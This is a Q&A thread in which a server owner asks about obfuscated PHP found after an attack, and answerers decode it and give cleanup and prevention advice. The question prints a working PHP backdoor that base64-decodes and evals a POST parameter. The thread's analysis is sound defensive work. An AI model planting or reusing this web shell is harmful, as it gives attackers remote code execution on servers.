20

My server was recently attacked, and I've been trying to research how and why it is happening.

I have found a very similar pattern in the virus files that looks something like this - as far as I can tell it's trying to run a specific file?

Has anyone seen anything like this, and how should I interpret it? Is it just grabbing individual characters based on the $sF string?

<?php

$sF = "PCT4BA6ODSE_";
$s21 = strtolower($sF[4] . $sF[5] . $sF[9] . $sF[10] . $sF[6] . $sF[3] . $sF[11] . $sF[8] . $sF[10] . $sF[1] . $sF[7] . $sF[8] . $sF[10]);
$s22 = ${strtoupper($sF[11] . $sF[0] . $sF[7] . $sF[9] . $sF[2])}['nd335c3'];
if (isset($s22)) {
  eval($s21($s22));
}?>
Steven Matthews
  • 9,705
  • 45
  • 126
  • 232
  • 5
    if you're interested the virus is PHP/Agent.NEH trojan – Martin Mar 28 '15 at 20:41
  • 1
    That is interesting. Thank you. Do you know anywhere else I can find information about it/anywhere else it may have infected? – Steven Matthews Mar 28 '15 at 20:51
  • 1
    Ha, I see how you found out. – Steven Matthews Mar 29 '15 at 02:12
  • 1
    Is it a common malware. I have seen a site struck by it before. – James Parsons Mar 29 '15 at 02:35
  • 1
    Related question: why are several comments / answers calling this a virus? Isn't a virus, by definition, a software that replicates itself? –  Mar 29 '15 at 09:00
  • 2
    @JaredBurrows 100% this isn't even remotely close to being on-topic for [codereview.se]. Code Review is for reviewing code that you have written yourself to make it better. It is not for understanding code written by someone else, reverse engineering code, or "gimme teh codez" (to improve security). – nhgrif Mar 29 '15 at 13:55
  • @dgraziotin This kind of trojan usually also replicate itself creating new files when they receive requests with payload intended for that. I've seen this before. – Paulo Freitas Apr 26 '15 at 08:25

3 Answers3

27

The variable $s21 is equal to base64_decode and $s22 is equal to $_POST['nd335c3'].

Whenever a POST request is made to your server, it executes whatever command is in $_POST['nd335c3']; which as you can expect, is very dangerous.

I highly doubt your server was hacked but instead your website script was exploited. Is there anywhere on your site where users can upload files? I've seen a lot of stuff like this with WordPress with poorly coded Plugins.

Fixing The Problem

To fix the problem, first delete this file or the section of code. You may want to shutdown your site and put it in maintenance mode until you can search through and verify all other files have not been modified.

Once the site is back up and running, log the requests made to where the hacked file was located or requests that contain that same POST variable.

Once you have a user who sends data to the exploit, you can check all your other log files and compare them to the same IP address and User agent. This is a far shot but hopefully they use only one computer to do the attack. From the logs you can see what exactly they visited to possibly execute the attack and upload the exploited file.

Preventing This in the Future

  1. Don't install any code you find online onto your site unless you trust the developer and believe it's fully secure and know that they release updates.
  2. Set your web server to not have write access besides to the upload directory and /tmp
  3. Verify all uploaded files to make sure they are exactly what you expect them to be.
  4. Don't allow PHP to run where files are uploaded to, have the files downloaded as static direct files. This way if a file has been uploaded that bypasses your file checks, it still can't do any harm.
David
  • 4,313
  • 1
  • 21
  • 29
  • 1
    It's a Drupal install. I can't think of a specific place that users can upload files, but I'll double check and disable any such functionality for the time being. – Steven Matthews Mar 28 '15 at 20:11
  • 1
    You know, I can just say that the file with `GIF89a` is of type `image/gif` and you would be happy with it. Never ever check the mimetype! You want to upload an image? Use the function `getimagesize()` and check if it returns `false`. Other files? Check the `finfo_file()` function (http://php.net/manual/en/function.finfo-file.php). – Ismael Miguel Mar 29 '15 at 02:21
  • 1
    I actually think the infection may have happened a year or so ago when I was still on shared hosting, and has only shown symptoms since I moved to a VPS with my own mail server. – Steven Matthews Mar 29 '15 at 06:01
  • 1
    @AndrewAlexander that seems about right. I Google'd around a bit and have found that this code is actually really old. I found traces of it from 2011 to 2014. – David Mar 29 '15 at 09:04
  • 1
    @IsmaelMiguel using `getimagesize()` still doesn't work. If you take a normal image file and just append PHP, `getimagesize` still returns normal results. I usually end up saving the uploaded file using `imagejpeg()` and serving that file to the end user. Hard to actually verify if a file is what it says it is 100% of the time. That's why it's important that uploaded files are not passed through the PHP processor. – David Mar 29 '15 at 10:27
  • 1
    @David The important is to actually use the file to what it is for. As you are suggesting, that is actually a good idea. I would expect something similar. Also, another thing I suggest is that you setup a folder that can't be accessed from outside. You request the file over a PHP script and it sends it, forcing you to download it. Also, renaming the file (to remove the `.php` extension) and disabling php interpretation is a good idea. But this is a business for another website (http://security.stackexchange.com/ maybe?). – Ismael Miguel Mar 29 '15 at 10:38
  • My guess is that the original vector was compromised code on one of the other sites (owned by someone else) that was on the shared server. I've also installed some Project Honeypot blacklist software in case any other malicious code is hanging out somewhere waiting to be executed in my codebase. – Steven Matthews Mar 29 '15 at 14:14
8

Just follow the contatination code base on $sF string, and you will see that 

$21 = "base64_decode";
$22 = "_POST['nd335c3']";

and the rest of the code, basically check if _POST['nd335c3'] exists and if so execute PHP code: base64_decode(_POST['nd335c3']);

what is done next I can't really know, since you didn't display the entire code of the virus.

Hope it help a bit.

YyYo
  • 651
  • 5
  • 13
4

Very nice virus. The above answers seem to explain quite well, but maybe you can understand PHP better now. You can see how PHP is pretty virus friendly, but that's one of the things that makes it so versatile and such A cool language, that can be used for many things.
a slightly less malicious example of code obfuscation:

<?php

$v1 = "sartvuhi_";
$v2 = $v1[3] . $v1[6] . $v1[7] . $v1[0] . $v1[8];
$v3 = $v1[7] . $v1[0] . $v1[8] . $v1[1] . $v1[8];
$v4 = $v1[4] . $v1[7] . $v1[2] . $v1[5] . $v1[0];

echo $v2 . $v3 . $v4;
?>
Issa Chanzi
  • 2,254
  • 2
  • 15
  • 21